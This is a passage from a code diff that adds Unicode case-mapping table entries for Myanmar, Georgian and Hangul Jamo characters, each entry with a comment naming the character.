+ ["\u1034", "\u1034"], /* MYANMAR VOWEL SIGN MON O */
+ ["\u1035", "\u1035"], /* MYANMAR VOWEL SIGN E ABOVE */
+ ["\u1036", "\u1036"], /* MYANMAR SIGN ANUSVARA */
+ ["\u1037", "\u1037"], /* MYANMAR SIGN DOT BELOW */
+ ["\u1038", "\u1038"], /* MYANMAR SIGN VISARGA */
+ ["\u1039", "\u1039"], /* MYANMAR SIGN VIRAMA */
+ ["\u103A", "\u103A"], /* MYANMAR SIGN ASAT */
+ ["\u103B", "\u103B"], /* MYANMAR CONSONANT SIGN MEDIAL YA */
+ ["\u103C", "\u103C"], /* MYANMAR CONSONANT SIGN MEDIAL RA */
+ ["\u103D", "\u103D"], /* MYANMAR CONSONANT SIGN MEDIAL WA */
+ ["\u103E", "\u103E"], /* MYANMAR CONSONANT SIGN MEDIAL HA */
+ ["\u103F", "\u103F"], /* MYANMAR LETTER GREAT SA */
+ ["\u1040", "\u1040"], /* MYANMAR DIGIT ZERO */
+ ["\u1041", "\u1041"], /* MYANMAR DIGIT ONE */
+ ["\u1042", "\u1042"], /* MYANMAR DIGIT TWO */
+ ["\u1043", "\u1043"], /* MYANMAR DIGIT THREE */
+ ["\u1044", "\u1044"], /* MYANMAR DIGIT FOUR */
+ ["\u1045", "\u1045"], /* MYANMAR DIGIT FIVE */
+ ["\u1046", "\u1046"], /* MYANMAR DIGIT SIX */
+ ["\u1047", "\u1047"], /* MYANMAR DIGIT SEVEN */
+ ["\u1048", "\u1048"], /* MYANMAR DIGIT EIGHT */
+ ["\u1049", "\u1049"], /* MYANMAR DIGIT NINE */
+ ["\u104A", "\u104A"], /* MYANMAR SIGN LITTLE SECTION */
+ ["\u104B", "\u104B"], /* MYANMAR SIGN SECTION */
+ ["\u104C", "\u104C"], /* MYANMAR SYMBOL LOCATIVE */
+ ["\u104D", "\u104D"], /* MYANMAR SYMBOL COMPLETED */
+ ["\u104E", "\u104E"], /* MYANMAR SYMBOL AFOREMENTIONED */
+ ["\u104F", "\u104F"], /* MYANMAR SYMBOL GENITIVE */
+ ["\u1050", "\u1050"], /* MYANMAR LETTER SHA */
+ ["\u1051", "\u1051"], /* MYANMAR LETTER SSA */
+ ["\u1052", "\u1052"], /* MYANMAR LETTER VOCALIC R */
+ ["\u1053", "\u1053"], /* MYANMAR LETTER VOCALIC RR */
+ ["\u1054", "\u1054"], /* MYANMAR LETTER VOCALIC L */
+ ["\u1055", "\u1055"], /* MYANMAR LETTER VOCALIC LL */
+ ["\u1056", "\u1056"], /* MYANMAR VOWEL SIGN VOCALIC R */
+ ["\u1057", "\u1057"], /* MYANMAR VOWEL SIGN VOCALIC RR */
+ ["\u1058", "\u1058"], /* MYANMAR VOWEL SIGN VOCALIC L */
+ ["\u1059", "\u1059"], /* MYANMAR VOWEL SIGN VOCALIC LL */
+ ["\u105A", "\u105A"], /* MYANMAR LETTER MON NGA */
+ ["\u105B", "\u105B"], /* MYANMAR LETTER MON JHA */
+ ["\u105C", "\u105C"], /* MYANMAR LETTER MON BBA */
+ ["\u105D", "\u105D"], /* MYANMAR LETTER MON BBE */
+ ["\u105E", "\u105E"], /* MYANMAR CONSONANT SIGN MON MEDIAL NA */
+ ["\u105F", "\u105F"], /* MYANMAR CONSONANT SIGN MON MEDIAL MA */
+ ["\u1060", "\u1060"], /* MYANMAR CONSONANT SIGN MON MEDIAL LA */
+ ["\u1061", "\u1061"], /* MYANMAR LETTER SGAW KAREN SHA */
+ ["\u1062", "\u1062"], /* MYANMAR VOWEL SIGN SGAW KAREN EU */
+ ["\u1063", "\u1063"], /* MYANMAR TONE MARK SGAW KAREN HATHI */
+ ["\u1064", "\u1064"], /* MYANMAR TONE MARK SGAW KAREN KE PHO */
+ ["\u1065", "\u1065"], /* MYANMAR LETTER WESTERN PWO KAREN THA */
+ ["\u1066", "\u1066"], /* MYANMAR LETTER WESTERN PWO KAREN PWA */
+ ["\u1067", "\u1067"], /* MYANMAR VOWEL SIGN WESTERN PWO KAREN EU */
+ ["\u1068", "\u1068"], /* MYANMAR VOWEL SIGN WESTERN PWO KAREN UE */
+ ["\u1069", "\u1069"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-1 */
+ ["\u106A", "\u106A"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-2 */
+ ["\u106B", "\u106B"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-3 */
+ ["\u106C", "\u106C"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-4 */
+ ["\u106D", "\u106D"], /* MYANMAR SIGN WESTERN PWO KAREN TONE-5 */
+ ["\u106E", "\u106E"], /* MYANMAR LETTER EASTERN PWO KAREN NNA */
+ ["\u106F", "\u106F"], /* MYANMAR LETTER EASTERN PWO KAREN YWA */
+ ["\u1070", "\u1070"], /* MYANMAR LETTER EASTERN PWO KAREN GHWA */
+ ["\u1071", "\u1071"], /* MYANMAR VOWEL SIGN GEBA KAREN I */
+ ["\u1072", "\u1072"], /* MYANMAR VOWEL SIGN KAYAH OE */
+ ["\u1073", "\u1073"], /* MYANMAR VOWEL SIGN KAYAH U */
+ ["\u1074", "\u1074"], /* MYANMAR VOWEL SIGN KAYAH EE */
+ ["\u1075", "\u1075"], /* MYANMAR LETTER SHAN KA */
+ ["\u1076", "\u1076"], /* MYANMAR LETTER SHAN KHA */
+ ["\u1077", "\u1077"], /* MYANMAR LETTER SHAN GA */
+ ["\u1078", "\u1078"], /* MYANMAR LETTER SHAN CA */
+ ["\u1079", "\u1079"], /* MYANMAR LETTER SHAN ZA */
+ ["\u107A", "\u107A"], /* MYANMAR LETTER SHAN NYA */
+ ["\u107B", "\u107B"], /* MYANMAR LETTER SHAN DA */
+ ["\u107C", "\u107C"], /* MYANMAR LETTER SHAN NA */
+ ["\u107D", "\u107D"], /* MYANMAR LETTER SHAN PHA */
+ ["\u107E", "\u107E"], /* MYANMAR LETTER SHAN FA */
+ ["\u107F", "\u107F"], /* MYANMAR LETTER SHAN BA */
+ ["\u1080", "\u1080"], /* MYANMAR LETTER SHAN THA */
+ ["\u1081", "\u1081"], /* MYANMAR LETTER SHAN HA */
+ ["\u1082", "\u1082"], /* MYANMAR CONSONANT SIGN SHAN MEDIAL WA */
+ ["\u1083", "\u1083"], /* MYANMAR VOWEL SIGN SHAN AA */
+ ["\u1084", "\u1084"], /* MYANMAR VOWEL SIGN SHAN E */
+ ["\u1085", "\u1085"], /* MYANMAR VOWEL SIGN SHAN E ABOVE */
+ ["\u1086", "\u1086"], /* MYANMAR VOWEL SIGN SHAN FINAL Y */
+ ["\u1087", "\u1087"], /* MYANMAR SIGN SHAN TONE-2 */
+ ["\u1088", "\u1088"], /* MYANMAR SIGN SHAN TONE-3 */
+ ["\u1089", "\u1089"], /* MYANMAR SIGN SHAN TONE-5 */
+ ["\u108A", "\u108A"], /* MYANMAR SIGN SHAN TONE-6 */
+ ["\u108B", "\u108B"], /* MYANMAR SIGN SHAN COUNCIL TONE-2 */
+ ["\u108C", "\u108C"], /* MYANMAR SIGN SHAN COUNCIL TONE-3 */
+ ["\u108D", "\u108D"], /* MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE */
+ ["\u108E", "\u108E"], /* MYANMAR LETTER RUMAI PALAUNG FA */
+ ["\u108F", "\u108F"], /* MYANMAR SIGN RUMAI PALAUNG TONE-5 */
+ ["\u1090", "\u1090"], /* MYANMAR SHAN DIGIT ZERO */
+ ["\u1091", "\u1091"], /* MYANMAR SHAN DIGIT ONE */
+ ["\u1092", "\u1092"], /* MYANMAR SHAN DIGIT TWO */
+ ["\u1093", "\u1093"], /* MYANMAR SHAN DIGIT THREE */
+ ["\u1094", "\u1094"], /* MYANMAR SHAN DIGIT FOUR */
+ ["\u1095", "\u1095"], /* MYANMAR SHAN DIGIT FIVE */
+ ["\u1096", "\u1096"], /* MYANMAR SHAN DIGIT SIX */
+ ["\u1097", "\u1097"], /* MYANMAR SHAN DIGIT SEVEN */
+ ["\u1098", "\u1098"], /* MYANMAR SHAN DIGIT EIGHT */
+ ["\u1099", "\u1099"], /* MYANMAR SHAN DIGIT NINE */
+ ["\u109A", "\u109A"], /* MYANMAR SIGN KHAMTI TONE-1 */
+ ["\u109B", "\u109B"], /* MYANMAR SIGN KHAMTI TONE-3 */
+ ["\u109C", "\u109C"], /* MYANMAR VOWEL SIGN AITON A */
+ ["\u109D", "\u109D"], /* MYANMAR VOWEL SIGN AITON AI */
+ ["\u109E", "\u109E"], /* MYANMAR SYMBOL SHAN ONE */
+ ["\u109F", "\u109F"], /* MYANMAR SYMBOL SHAN EXCLAMATION */
+ ["\u10A0", "\u2D00"], /* GEORGIAN CAPITAL LETTER AN */
+ ["\u10A1", "\u2D01"], /* GEORGIAN CAPITAL LETTER BAN */
+ ["\u10A2", "\u2D02"], /* GEORGIAN CAPITAL LETTER GAN */
+ ["\u10A3", "\u2D03"], /* GEORGIAN CAPITAL LETTER DON */
+ ["\u10A4", "\u2D04"], /* GEORGIAN CAPITAL LETTER EN */
+ ["\u10A5", "\u2D05"], /* GEORGIAN CAPITAL LETTER VIN */
+ ["\u10A6", "\u2D06"], /* GEORGIAN CAPITAL LETTER ZEN */
+ ["\u10A7", "\u2D07"], /* GEORGIAN CAPITAL LETTER TAN */
+ ["\u10A8", "\u2D08"], /* GEORGIAN CAPITAL LETTER IN */
+ ["\u10A9", "\u2D09"], /* GEORGIAN CAPITAL LETTER KAN */
+ ["\u10AA", "\u2D0A"], /* GEORGIAN CAPITAL LETTER LAS */
+ ["\u10AB", "\u2D0B"], /* GEORGIAN CAPITAL LETTER MAN */
+ ["\u10AC", "\u2D0C"], /* GEORGIAN CAPITAL LETTER NAR */
+ ["\u10AD", "\u2D0D"], /* GEORGIAN CAPITAL LETTER ON */
+ ["\u10AE", "\u2D0E"], /* GEORGIAN CAPITAL LETTER PAR */
+ ["\u10AF", "\u2D0F"], /* GEORGIAN CAPITAL LETTER ZHAR */
+ ["\u10B0", "\u2D10"], /* GEORGIAN CAPITAL LETTER RAE */
+ ["\u10B1", "\u2D11"], /* GEORGIAN CAPITAL LETTER SAN */
+ ["\u10B2", "\u2D12"], /* GEORGIAN CAPITAL LETTER TAR */
+ ["\u10B3", "\u2D13"], /* GEORGIAN CAPITAL LETTER UN */
+ ["\u10B4", "\u2D14"], /* GEORGIAN CAPITAL LETTER PHAR */
+ ["\u10B5", "\u2D15"], /* GEORGIAN CAPITAL LETTER KHAR */
+ ["\u10B6", "\u2D16"], /* GEORGIAN CAPITAL LETTER GHAN */
+ ["\u10B7", "\u2D17"], /* GEORGIAN CAPITAL LETTER QAR */
+ ["\u10B8", "\u2D18"], /* GEORGIAN CAPITAL LETTER SHIN */
+ ["\u10B9", "\u2D19"], /* GEORGIAN CAPITAL LETTER CHIN */
+ ["\u10BA", "\u2D1A"], /* GEORGIAN CAPITAL LETTER CAN */
+ ["\u10BB", "\u2D1B"], /* GEORGIAN CAPITAL LETTER JIL */
+ ["\u10BC", "\u2D1C"], /* GEORGIAN CAPITAL LETTER CIL */
+ ["\u10BD", "\u2D1D"], /* GEORGIAN CAPITAL LETTER CHAR */
+ ["\u10BE", "\u2D1E"], /* GEORGIAN CAPITAL LETTER XAN */
+ ["\u10BF", "\u2D1F"], /* GEORGIAN CAPITAL LETTER JHAN */
+ ["\u10C0", "\u2D20"], /* GEORGIAN CAPITAL LETTER HAE */
+ ["\u10C1", "\u2D21"], /* GEORGIAN CAPITAL LETTER HE */
+ ["\u10C2", "\u2D22"], /* GEORGIAN CAPITAL LETTER HIE */
+ ["\u10C3", "\u2D23"], /* GEORGIAN CAPITAL LETTER WE */
+ ["\u10C4", "\u2D24"], /* GEORGIAN CAPITAL LETTER HAR */
+ ["\u10C5", "\u2D25"], /* GEORGIAN CAPITAL LETTER HOE */
+ ["\u10C6", "\u10C6"],
+ ["\u10C7", "\u2D27"], /* GEORGIAN CAPITAL LETTER YN */
+ ["\u10C8", "\u10C8"],
+ ["\u10C9", "\u10C9"],
+ ["\u10CA", "\u10CA"],
+ ["\u10CB", "\u10CB"],
+ ["\u10CC", "\u10CC"],
+ ["\u10CD", "\u2D2D"], /* GEORGIAN CAPITAL LETTER AEN */
+ ["\u10CE", "\u10CE"],
+ ["\u10CF", "\u10CF"],
+ ["\u1C90", "\u10D0"], /* GEORGIAN LETTER AN (GEORGIAN SMALL LETTER AN) */
+ ["\u1C91", "\u10D1"], /* GEORGIAN LETTER BAN (GEORGIAN SMALL LETTER BAN) */
+ ["\u1C92", "\u10D2"], /* GEORGIAN LETTER GAN (GEORGIAN SMALL LETTER GAN) */
+ ["\u1C93", "\u10D3"], /* GEORGIAN LETTER DON (GEORGIAN SMALL LETTER DON) */
+ ["\u1C94", "\u10D4"], /* GEORGIAN LETTER EN (GEORGIAN SMALL LETTER EN) */
+ ["\u1C95", "\u10D5"], /* GEORGIAN LETTER VIN (GEORGIAN SMALL LETTER VIN) */
+ ["\u1C96", "\u10D6"], /* GEORGIAN LETTER ZEN (GEORGIAN SMALL LETTER ZEN) */
+ ["\u1C97", "\u10D7"], /* GEORGIAN LETTER TAN (GEORGIAN SMALL LETTER TAN) */
+ ["\u1C98", "\u10D8"], /* GEORGIAN LETTER IN (GEORGIAN SMALL LETTER IN) */
+ ["\u1C99", "\u10D9"], /* GEORGIAN LETTER KAN (GEORGIAN SMALL LETTER KAN) */
+ ["\u1C9A", "\u10DA"], /* GEORGIAN LETTER LAS (GEORGIAN SMALL LETTER LAS) */
+ ["\u1C9B", "\u10DB"], /* GEORGIAN LETTER MAN (GEORGIAN SMALL LETTER MAN) */
+ ["\u1C9C", "\u10DC"], /* GEORGIAN LETTER NAR (GEORGIAN SMALL LETTER NAR) */
+ ["\u1C9D", "\u10DD"], /* GEORGIAN LETTER ON (GEORGIAN SMALL LETTER ON) */
+ ["\u1C9E", "\u10DE"], /* GEORGIAN LETTER PAR (GEORGIAN SMALL LETTER PAR) */
+ ["\u1C9F", "\u10DF"], /* GEORGIAN LETTER ZHAR (GEORGIAN SMALL LETTER ZHAR) */
+ ["\u1CA0", "\u10E0"], /* GEORGIAN LETTER RAE (GEORGIAN SMALL LETTER RAE) */
+ ["\u1CA1", "\u10E1"], /* GEORGIAN LETTER SAN (GEORGIAN SMALL LETTER SAN) */
+ ["\u1CA2", "\u10E2"], /* GEORGIAN LETTER TAR (GEORGIAN SMALL LETTER TAR) */
+ ["\u1CA3", "\u10E3"], /* GEORGIAN LETTER UN (GEORGIAN SMALL LETTER UN) */
+ ["\u1CA4", "\u10E4"], /* GEORGIAN LETTER PHAR (GEORGIAN SMALL LETTER PHAR) */
+ ["\u1CA5", "\u10E5"], /* GEORGIAN LETTER KHAR (GEORGIAN SMALL LETTER KHAR) */
+ ["\u1CA6", "\u10E6"], /* GEORGIAN LETTER GHAN (GEORGIAN SMALL LETTER GHAN) */
+ ["\u1CA7", "\u10E7"], /* GEORGIAN LETTER QAR (GEORGIAN SMALL LETTER QAR) */
+ ["\u1CA8", "\u10E8"], /* GEORGIAN LETTER SHIN (GEORGIAN SMALL LETTER SHIN) */
+ ["\u1CA9", "\u10E9"], /* GEORGIAN LETTER CHIN (GEORGIAN SMALL LETTER CHIN) */
+ ["\u1CAA", "\u10EA"], /* GEORGIAN LETTER CAN (GEORGIAN SMALL LETTER CAN) */
+ ["\u1CAB", "\u10EB"], /* GEORGIAN LETTER JIL (GEORGIAN SMALL LETTER JIL) */
+ ["\u1CAC", "\u10EC"], /* GEORGIAN LETTER CIL (GEORGIAN SMALL LETTER CIL) */
+ ["\u1CAD", "\u10ED"], /* GEORGIAN LETTER CHAR (GEORGIAN SMALL LETTER CHAR) */
+ ["\u1CAE", "\u10EE"], /* GEORGIAN LETTER XAN (GEORGIAN SMALL LETTER XAN) */
+ ["\u1CAF", "\u10EF"], /* GEORGIAN LETTER JHAN (GEORGIAN SMALL LETTER JHAN) */
+ ["\u1CB0", "\u10F0"], /* GEORGIAN LETTER HAE (GEORGIAN SMALL LETTER HAE) */
+ ["\u1CB1", "\u10F1"], /* GEORGIAN LETTER HE (GEORGIAN SMALL LETTER HE) */
+ ["\u1CB2", "\u10F2"], /* GEORGIAN LETTER HIE (GEORGIAN SMALL LETTER HIE) */
+ ["\u1CB3", "\u10F3"], /* GEORGIAN LETTER WE (GEORGIAN SMALL LETTER WE) */
+ ["\u1CB4", "\u10F4"], /* GEORGIAN LETTER HAR (GEORGIAN SMALL LETTER HAR) */
+ ["\u1CB5", "\u10F5"], /* GEORGIAN LETTER HOE (GEORGIAN SMALL LETTER HOE) */
+ ["\u1CB6", "\u10F6"], /* GEORGIAN LETTER FI (GEORGIAN SMALL LETTER FI) */
+ ["\u1CB7", "\u10F7"], /* GEORGIAN LETTER YN */
+ ["\u1CB8", "\u10F8"], /* GEORGIAN LETTER ELIFI */
+ ["\u1CB9", "\u10F9"], /* GEORGIAN LETTER TURNED GAN */
+ ["\u1CBA", "\u10FA"], /* GEORGIAN LETTER AIN */
+ ["\u10FB", "\u10FB"], /* GEORGIAN PARAGRAPH SEPARATOR */
+ ["\u10FC", "\u10FC"], /* MODIFIER LETTER GEORGIAN NAR */
+ ["\u1CBD", "\u10FD"], /* GEORGIAN LETTER AEN */
+ ["\u1CBE", "\u10FE"], /* GEORGIAN LETTER HARD SIGN */
+ ["\u1CBF", "\u10FF"], /* GEORGIAN LETTER LABIAL SIGN */
+ ["\u1100", "\u1100"], /* HANGUL CHOSEONG KIYEOK */
+ ["\u1101", "\u1101"], /* HANGUL CHOSEONG SSANGKIYEOK */
+ ["\u1102", "\u1102"], /* HANGUL CHOSEONG NIEUN */
+ ["\u1103", "\u1103"], /* HANGUL CHOSEONG TIKEUT */
+ ["\u1104", "\u1104"], /* HANGUL CHOSEONG SSANGTIKEUT */
+ ["\u1105", "\u1105"], /* HANGUL CHOSEONG RIEUL */
+ ["\u1106", "\u1106"], /* HANGUL CHOSEONG MIEUM */
+ ["\u1107", "\u1107"], /* HANGUL CHOSEONG PIEUP */
+ ["\u1108", "\u1108"], /* HANGUL CHOSEONG SSANGPIEUP */
+ ["\u1109", "\u1109"], /* HANGUL CHOSEONG SIOS */
+ ["\u110A", "\u110A"], /* HANGUL CHOSEONG SSANGSIOS */
+ ["\u110B", "\u110B"], /* HANGUL CHOSEONG IEUNG */
+ ["\u110C", "\u110C"], /* HANGUL CHOSEONG CIEUC */
+ ["\u110D", "\u110D"], /* HANGUL CHOSEONG SSANGCIEUC */
+ ["\u110E", "\u110E"], /* HANGUL CHOSEONG CHIEUCH */
+ ["\u110F", "\u110F"], /* HANGUL CHOSEONG KHIEUKH */
+ ["\u1110", "\u1110"], /* HANGUL CHOSEONG THIEUTH */
+ ["\u1111", "\u1111"], /* HANGUL CHOSEONG PHIEUPH */
+ ["\u1112", "\u1112"], /* HANGUL CHOSEONG HIEUH */
+ ["\u1113", "\u1113"], /* HANGUL CHOSEONG NIEUN-KIYEOK */
+ ["\u1114", "\u1114"], /* HANGUL CHOSEONG SSANGNIEUN */
+ ["\u1115", "\u1115"], /* HANGUL CHOSEONG NIEUN-TIKEUT */
+ ["\u1116", "\u1116"], /* HANGUL CHOSEONG NIEUN-PIEUP */
+ ["\u1117", "\u1117"], /* HANGUL CHOSEONG TIKEUT-KIYEOK */
+ ["\u1118", "\u1118"], /* HANGUL CHOSEONG RIEUL-NIEUN */
+ ["\u1119", "\u1119"], /* HANGUL CHOSEONG SSANGRIEUL */
+ ["\u111A", "\u111A"], /* HANGUL CHOSEONG RIEUL-HIEUH */
+ ["\u111B", "\u111B"], /* HANGUL CHOSEONG KAPYEOUNRIEUL */
+ ["\u111C", "\u111C"], /* HANGUL CHOSEONG MIEUM-PIEUP */
+ ["\u111D", "\u111D"], /* HANGUL CHOSEONG KAPYEOUNMIEUM */
+ ["\u111E", "\u111E"], /* HANGUL CHOSEONG PIEUP-KIYEOK */
+ ["\u111F", "\u111F"], /* HANGUL CHOSEONG PIEUP-NIEUN */
+ ["\u1120", "\u1120"], /* HANGUL CHOSEONG PIEUP-TIKEUT */
+ ["\u1121", "\u1121"], /* HANGUL CHOSEONG PIEUP-SIOS */
+ ["\u1122", "\u1122"], /* HANGUL CHOSEONG PIEUP-SIOS-KIYEOK */
+ ["\u1123", "\u1123"], /* HANGUL CHOSEONG PIEUP-SIOS-TIKEUT */
+ ["\u1124", "\u1124"], /* HANGUL CHOSEONG PIEUP-SIOS-PIEUP */
+ ["\u1125", "\u1125"], /* HANGUL CHOSEONG PIEUP-SSANGSIOS */
+ ["\u1126", "\u1126"], /* HANGUL CHOSEONG PIEUP-SIOS-CIEUC */
+ ["\u1127", "\u1127"], /* HANGUL CHOSEONG PIEUP-CIEUC */
+ ["\u1128", "\u1128"], /* HANGUL CHOSEONG PIEUP-CHIEUCH */
+ ["\u1129", "\u1129"], /* HANGUL CHOSEONG PIEUP-THIEUTH */
+ ["\u112A", "\u112A"], /* HANGUL CHOSEONG PIEUP-PHIEUPH */
+ ["\u112B", "\u112B"], /* HANGUL CHOSEONG KAPYEOUNPIEUP */
+ ["\u112C", "\u112C"], /* HANGUL CHOSEONG KAPYEOUNSSANGPIEUP */
+ ["\u112D", "\u112D"], /* HANGUL CHOSEONG SIOS-KIYEOK */
+ ["\u112E", "\u112E"], /* HANGUL CHOSEONG SIOS-NIEUN */
+ ["\u112F", "\u112F"], /* HANGUL CHOSEONG SIOS-TIKEUT */
+ ["\u1130", "\u1130"], /* HANGUL CHOSEONG SIOS-RIEUL */
+ ["\u1131", "\u1131"], /* HANGUL CHOSEONG SIOS-MIEUM */
+ ["\u1132", "\u1132"], /* HANGUL CHOSEONG SIOS-PIEUP */
+ ["\u1133", "\u1133"], /* HANGUL CHOSEONG SIOS-PIEUP-KIYEOK */
+ ["\u1134", "\u1134"], /* HANGUL CHOSEONG SIOS-SSANGSIOS */
+ ["\u1135", "\u1135"], /* HANGUL CHOSEONG SIOS-IEUNG */
+ ["\u1136", "\u1136"], /* HANGUL CHOSEONG SIOS-CIEUC */
+ ["\u1137", "\u1137"], /* HANGUL CHOSEONG SIOS-CHIEUCH */
+ ["\u1138", "\u1138"], /* HANGUL CHOSEONG SIOS-KHIEUKH */
+ ["\u1139", "\u1139"], /* HANGUL CHOSEONG SIOS-THIEUTH */
+ ["\u113A", "\u113A"], /* HANGUL CHOSEONG SIOS-PHIEUPH */
+ ["\u113B", "\u113B"], /* HANGUL CHOSEONG SIOS-HIEUH */
+ ["\u113C", "\u113C"], /* HANGUL CHOSEONG CHITUEUMSIOS */
+ ["\u113D", "\u113D"], /* HANGUL CHOSEONG CHITUEUMSSANGSIOS */
+ ["\u113E", "\u113E"], /* HANGUL CHOSEONG CEONGCHIEUMSIOS */
+ ["\u113F", "\u113F"], /* HANGUL CHOSEONG CEONGCHIEUMSSANGSIOS */
+ ["\u1140", "\u1140"], /* HANGUL CHOSEONG PANSIOS */
+ ["\u1141", "\u1141"], /* HANGUL CHOSEONG IEUNG-KIYEOK */
+ ["\u1142", "\u1142"], /* HANGUL CHOSEONG IEUNG-TIKEUT */
+ ["\u1143", "\u1143"], /* HANGUL CHOSEONG IEUNG-MIEUM */
+ ["\u1144", "\u1144"], /* HANGUL CHOSEONG IEUNG-PIEUP */
+ ["\u1145", "\u1145"], /* HANGUL CHOSEONG IEUNG-SIOS */
+ ["\u1146", "\u1146"], /* HANGUL CHOSEONG IEUNG-PANSIOS */
+ ["\u1147", "\u1147"], /* HANGUL CHOSEONG SSANGIEUNG */
+ ["\u1148", "\u1148"], /* HANGUL CHOSEONG IEUNG-CIEUC */
+ ["\u1149", "\u1149"], /* HANGUL CHOSEONG IEUNG-CHIEUCH */
+ ["\u114A", "\u114A"], /* HANGUL CHOSEONG IEUNG-THIEUTH */
+ ["\u114B", "\u114B"], /* HANGUL CHOSEONG IEUNG-PHIEUPH */
+ ["\u114C", "\u114C"], /* HANGUL CHOSEONG YESIEUNG */
+ ["\u114D", "\u114D"], /* HANGUL CHOSEONG CIEUC-IEUNG */
+ ["\u114E", "\u114E"], /* HANGUL CHOSEONG CHITUEUMCIEUC */
+ ["\u114F", "\u114F"], /* HANGUL CHOSEONG CHITUEUMSSANGCIEUC */
+ ["\u1150", "\u1150"], /* HANGUL CHOSEONG CEONGCHIEUMCIEUC */
+ ["\u1151", "\u1151"], /* HANGUL CHOSEONG CEONGCHIEUMSSANGCIEUC */
+ ["\u1152", "\u1152"], /* HANGUL CHOSEONG CHIEUCH-KHIEUKH */
+ ["\u1153", "\u1153"], /* HANGUL CHOSEONG CHIEUCH-HIEUH */
+ ["\u1154", "\u1154"], /* HANGUL CHOSEONG CHITUEUMCHIEUCH */
+ ["\u1155", "\u1155"], /* HANGUL CHOSEONG CEONGCHIEUMCHIEUCH */
+ ["\u1156", "\u1156"], /* HANGUL CHOSEONG PHIEUPH-PIEUP */
+ ["\u1157", "\u1157"], /* HANGUL CHOSEONG KAPYEOUNPHIEUPH */
+ ["\u1158", "\u1158"], /* HANGUL CHOSEONG SSANGHIEUH */
+ ["\u1159", "\u1159"], /* HANGUL CHOSEONG YEORINHIEUH */
+ ["\u115A", "\u115A"], /* HANGUL CHOSEONG KIYEOK-TIKEUT */
+ ["\u115B", "\u115B"], /* HANGUL CHOSEONG NIEUN-SIOS */
+ ["\u115C", "\u115C"], /* HANGUL CHOSEONG NIEUN-CIEUC */
+ ["\u115D", "\u115D"], /* HANGUL CHOSEONG NIEUN-HIEUH */
+ ["\u115E", "\u115E"], /* HANGUL CHOSEONG TIKEUT-RIEUL */
+ ["\u115F", "\u115F"], /* HANGUL CHOSEONG FILLER */
+ ["\u1160", "\u1160"], /* HANGUL JUNGSEONG FILLER */
+ ["\u1161", "\u1161"], /* HANGUL JUNGSEONG A */
+ ["\u1162", "\u1162"], /* HANGUL JUNGSEONG AE */
+ ["\u1163", "\u1163"], /* HANGUL JUNGSEONG YA */
+ ["\u1164", "\u1164"], /* HANGUL JUNGSEONG YAE */
+ ["\u1165", "\u1165"], /* HANGUL JUNGSEONG EO */
+ ["\u1166", "\u1166"], /* HANGUL JUNGSEONG E */
+ ["\u1167", "\u1167"], /* HANGUL JUNGSEONG YEO */
+ ["\u1168", "\u1168"], /* HANGUL JUNGSEONG YE */
+ ["\u1169", "\u1169"], /* HANGUL JUNGSEONG O */
+ ["\u116A", "\u116A"], /* HANGUL JUNGSEONG WA */
+ ["\u116B", "\u116B"], /* HANGUL JUNGSEONG WAE */
+ ["\u116C", "\u116C"], /* HANGUL JUNGSEONG OE */
+ ["\u116D", "\u116D"], /* HANGUL JUNGSEONG YO */
+ ["\u116E", "\u116E"], /* HANGUL JUNGSEONG U */
+ ["\u116F", "\u116F"], /* HANGUL JUNGSEONG WEO */
+ ["\u1170", "\u1170"], /* HANGUL JUNGSEONG WE */
+ ["\u1171", "\u1171"], /* HANGUL JUNGSEONG WI */
+ ["\u1172", "\u1172"], /* HANGUL JUNGSEONG YU */
+ ["\u1173", "\u1173"], /* HANGUL JUNGSEONG EU */
+ ["\u1174", "\u1174"], /* HANGUL JUNGSEONG YI */
+ ["\u1175", "\u1175"], /* HANGUL JUNGSEONG I */
+ ["\u1176", "\u1176"], /* HANGUL JUNGSEONG A-O */
+ ["\u1177", "\u1177"], /* HANGUL JUNGSEONG A-U */
+ ["\u1178", "\u1178"], /* HANGUL JUNGSEONG YA-O */
+ ["\u1179", "\u1179"], /* HANGUL JUNGSEONG YA-YO */
+ ["\u117A", "\u117A"], /* HANGUL JUNGSEONG EO-O */
+ ["\u117B", "\u117B"], /* HANGUL JUNGSEONG EO-U */
+ ["\u117C", "\u117C"], /* HANGUL JUNGSEONG EO-EU */
+ ["\u117D", "\u117D"], /* HANGUL JUNGSEONG YEO-O */
+ ["\u117E", "\u117E"], /* HANGUL JUNGSEONG YEO-U */
+ ["\u117F", "\u117F"], /* HANGUL JUNGSEONG O-EO */
+ ["\u1180", "\u1180"], /* HANGUL JUNGSEONG O-E */
+ ["\u1181", "\u1181"], /* HANGUL JUNGSEONG O-YE */
+ ["\u1182", "\u1182"], /* HANGUL JUNGSEONG O-O */
+ ["\u1183", "\u1183"], /* HANGUL JUNGSEONG O-U */
+ ["\u1184", "\u1184"], /* HANGUL JUNGSEONG YO-YA */
+ ["\u1185", "\u1185"], /* HANGUL JUNGSEONG YO-YAE */
+ ["\u1186", "\u1186"], /* HANGUL JUNGSEONG YO-YEO */
+ ["\u1187", "\u1187"], /* HANGUL JUNGSEONG YO-O */
+ ["\u1188", "\u1188"], /* HANGUL JUNGSEONG YO-I */
+ ["\u1189", "\u1189"], /* HANGUL JUNGSEONG U-A */
+ ["\u118A", "\u118A"], /* HANGUL JUNGSEONG U-AE */
+ ["\u118B", "\u118B"], /* HANGUL JUNGSEONG U-EO-EU */
+ ["\u118C", "\u118C"], /* HANGUL JUNGSEONG U-YE */
+ ["\u118D", "\u118D"], /* HANGUL JUNGSEONG U-U */
+ ["\u118E", "\u118E"], /* HANGUL JUNGSEONG YU-A */
+ ["\u118F", "\u118F"], /* HANGUL JUNGSEONG YU-EO */
+ ["\u1190", "\u1190"], /* HANGUL JUNGSEONG YU-E */
+ ["\u1191", "\u1191"], /* HANGUL JUNGSEONG YU-YEO */
+ ["\u1192", "\u1192"], /* HANGUL JUNGSEONG YU-YE */
+ ["\u1193", "\u1193"], /* HANGUL JUNGSEONG YU-U */
+ ["\u1194", "\u1194"], /* HANGUL JUNGSEONG YU-I */
+ ["\u1195", "\u1195"], /* HANGUL JUNGSEONG EU-U */
+ ["\u1196", "\u1196"], /* HANGUL JUNGSEONG EU-EU */
+ ["\u1197", "\u1197"], /* HANGUL JUNGSEONG YI-U */
+ ["\u1198", "\u1198"], /* HANGUL JUNGSEONG I-A */
+ ["\u1199", "\u1199"], /* HANGUL JUNGSEONG I-YA */
